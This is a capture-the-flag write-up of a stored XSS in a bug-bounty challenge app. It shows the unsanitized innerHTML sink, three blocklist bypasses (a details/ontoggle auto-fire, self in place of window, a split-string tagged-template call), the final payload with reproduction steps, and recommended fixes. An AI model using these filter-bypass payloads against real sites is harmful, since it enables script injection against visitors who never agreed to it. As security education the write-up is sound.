</ThreatCenter>

Intigriti May 2026 Challenge (0526) — Full Write-up
Stored XSS via Unsanitized user_name — SCA Shield Filter Bypass
Report INTIGRITI-IF3I7RAV  •  Accepted  •  Medium
Challenge 0526 Solved 18/05/2026 Type: Stored XSS Asset: challenge-0526.intigriti.io

// Exploit Summary

The Pixel Pioneers challenge application stores a user's display name without sanitization and renders it via innerHTML in the public testimonials feed. The server-side "SCA Shield" filter — which blocks specific characters and keywords — is fully bypassed using three orthogonal techniques, producing a zero-click stored XSS that fires for every visitor to the testimonials page.

Attacker sets display name → /api/profile

SCA Shield filter (char + keyword blocklist) ← bypassed

Payload stored verbatim in DB

Attacker submits a testimonial → name attached

Victim visits /challenge#testimonials

nameDiv.innerHTML = t.user_name (no sanitization)

ontoggle fires instantly → XSS → zero clicks
Stored, Zero-Click: The payload persists server-side. Every visitor — authenticated or not — triggers the exploit simply by loading the testimonials page. No interaction required.

// The Vulnerable Sink

In /js/app.js, the loadTestimonials() function builds each testimonial card and writes the display name directly into innerHTML — no sanitization, no encoding:

async function loadTestimonials() {
    let res = await fetch('/api/testimonials');
    let data = await res.json();
    const container = document.getElementById('testimonialsList');

    data.forEach(t => {
        let nameDiv = document.createElement('div');
        nameDiv.className = 'user-name';
        nameDiv.innerHTML = t.user_name;   // ← RAW innerHTML — vulnerable sink

        let textDiv = document.createElement('div');
        textDiv.innerHTML = DOMPurify.sanitize(t.content); // ← content IS sanitized

        card.appendChild(nameDiv);
        card.appendChild(textDiv);
    });
}
Key asymmetry: t.content (the testimonial body) goes through DOMPurify.sanitize(). t.user_name (the display name) does not. Same response object, inconsistent treatment.
FieldSanitizationResult
t.contentDOMPurify.sanitize()Safe
t.user_nameNone — raw innerHTMLVulnerable

// The SCA Shield Filter

The profile update endpoint applies a two-layer blocklist before storing the display name. It does not encode or strip HTML — it only rejects inputs containing specific characters or substrings. Any HTML that avoids those exact patterns is stored verbatim.

LayerWhat is blocked
Character filter"   '   (   )   .   ,   ;
Keyword filteralert   eval   onerror   onload   script   src   window
Fundamental flaw of a blocklist: It enumerates what is bad. Any technique that avoids the exact blocked set passes through. Blocklists cannot anticipate every encoding, obfuscation, or HTML5 feature.

// Filter Bypass — Three Orthogonal Techniques

Three independent problems must be solved. Each has exactly one root cause and one bypass:

1
Auto-fire without onerror / onload

Both onerror and onload are in the keyword blocklist. The solution is <details open ontoggle=...>.

When a <details open> element is inserted into the DOM it transitions from "disconnected" to "connected+open" and the browser fires the toggle event automatically — no user interaction required. Neither details nor ontoggle appear in the blocklist.

<!-- blocked -->
<img onerror=...>
<body onload=...>

<!-- bypasses the filter, auto-fires on DOM insertion -->
<details open ontoggle=...>x</details>
2
Replace window with self

window is in the keyword blocklist. self is a standard browser global that resolves to the same object and is not blocked.

// blocked
window.alert(1)

// identical in a browser context, not blocked
self.alert(1)
3
Reconstruct alert + call without parentheses

The literal string alert is in the keyword blocklist. ( and ) are in the character blocklist. Both must be avoided simultaneously.

Reconstruct the function name using string concatenation inside bracket notation — the keyword is never written as a literal:

self[`ale`+`rt`]   // evaluates to self["alert"] → the alert function
                // backtick not blocked, no parentheses, no dots

Call without parentheses using a tagged template literal — a syntactically valid JavaScript call that requires no ():

self[`ale`+`rt`]`1`   // equivalent to alert(["1"]) — valid JS, zero parens

Tagged template literals (fn`...`) are a standard ES6 feature. The backtick character is not in the character blocklist, and the word alert never appears as a literal string in the payload.

Bypass Summary

Problem 1 — Event trigger
✕ onerror / onload (blocked)
✓ ontoggle on <details open>
Problem 2 — Global object
✕ window (blocked)
✓ self (identical, not blocked)
Problem 3a — Function name
✕ alert literal (blocked)
✓ self[`ale`+`rt`] (reconstructed)
Problem 3b — Function call
✕ () parentheses (blocked)
✓ tagged template literal `1`

// Final Payload

Display Name Payload
<details open ontoggle=self[`ale`+`rt`]`1`>x</details>
Filter CheckResultReason
Character filter: " ' ( ) . , ;✓ PassNone of these characters appear in the payload
Keyword: alert✓ PassSplit as `ale`+`rt` — literal never present
Keyword: window✓ PassReplaced with self
Keyword: onerror / onload✓ PassUsing ontoggle instead
Keyword: eval / script / src✓ PassNot used at all
Auto-fire on page load✓ Yes<details open> fires toggle on DOM insertion

The stored payload as it appears in GET /api/testimonials:

{
  "uuid": "bd19f453-5fdd-446e-a6eb-001329616336",
  "content": "test",
  "username": "xsstest21602",
  "user_name": "<details open ontoggle=self[`ale`+`rt`]`1`>x</details>"
}

// Steps to Reproduce

Step 1 — Register an account

Navigate to https://challenge-0526.intigriti.io/challenge#register, enter any username and password, click Start Game.

Step 2 — Inject the payload as the display name

Navigate to https://challenge-0526.intigriti.io/challenge#profile, clear the Display Name field and enter exactly:

Paste this verbatim
<details open ontoggle=self[`ale`+`rt`]`1`>x</details>

Click Update Name — server responds {"success":true}.

Step 3 — Publish the payload via a testimonial

Navigate to https://challenge-0526.intigriti.io/challenge#testimonials, type any text (e.g. test) and click Submit. This creates a public testimonial entry with the poisoned display name attached.

Step 4 — Trigger (victim perspective)

Any user — logged in or not — who navigates to https://challenge-0526.intigriti.io/challenge#testimonials will have the XSS fire automatically. The alert dialog appears immediately with no clicks required.

// Complete Execution Flow

1. Attacker registers account on challenge-0526.intigriti.io
2. Attacker updates display name via POST /api/profile with <details open ontoggle=...>
3. SCA Shield runs character + keyword checks — payload passes both layers
4. Payload stored verbatim in the database under user_name
5. Attacker submits a testimonial — their user_name is attached to the public record
6. Victim visits #testimonials — browser fetches GET /api/testimonials
7. loadTestimonials() runs: nameDiv.innerHTML = t.user_name injects the HTML
8. <details open> appended to DOM → browser fires toggle event immediately
9. self[`ale`+`rt`]`1` evaluates → alert(["1"]) executes — zero clicks

// Impact

The root failure is architectural: the client applies DOMPurify to the testimonial body but not the name. The server-side blocklist provides the illusion of protection while being trivially bypassed by any HTML5 feature not on the blocklist. Both layers must be fixed independently.

// Root Causes & Recommended Fixes

Fix 1 — Client Side (immediate, sufficient on its own)

The display name is plain text — it never needs to be treated as HTML. Use textContent instead of innerHTML:

// BEFORE — vulnerable
nameDiv.innerHTML = t.user_name;

// AFTER — safe, treats value as plain text regardless of content
nameDiv.textContent = t.user_name;

This single character change eliminates the HTML injection vector entirely, making the server-side filter irrelevant to this specific sink.

Fix 2 — Server Side (defence in depth)

Replace the blocklist with an allowlist. Display names have a well-defined safe character set:

// Reject anything outside alphanumeric + basic punctuation
if (!/^[\w\s\-']{1,64}$/.test(name)) {
    return res.status(400).json({ error: 'Invalid display name' });
}

If HTML is intentionally required, run it through DOMPurify server-side (via JSDOM) before storage — not just on output.

Root CauseFix
Missing output encoding — t.user_name written to innerHTML Use textContent for all plain-text fields
Inconsistent sanitization — t.content purified, t.user_name is not Apply DOMPurify.sanitize() consistently to every field written via innerHTML
Blocklist approach is fundamentally fragile Replace with allowlist input validation; blocklists cannot enumerate all bypass paths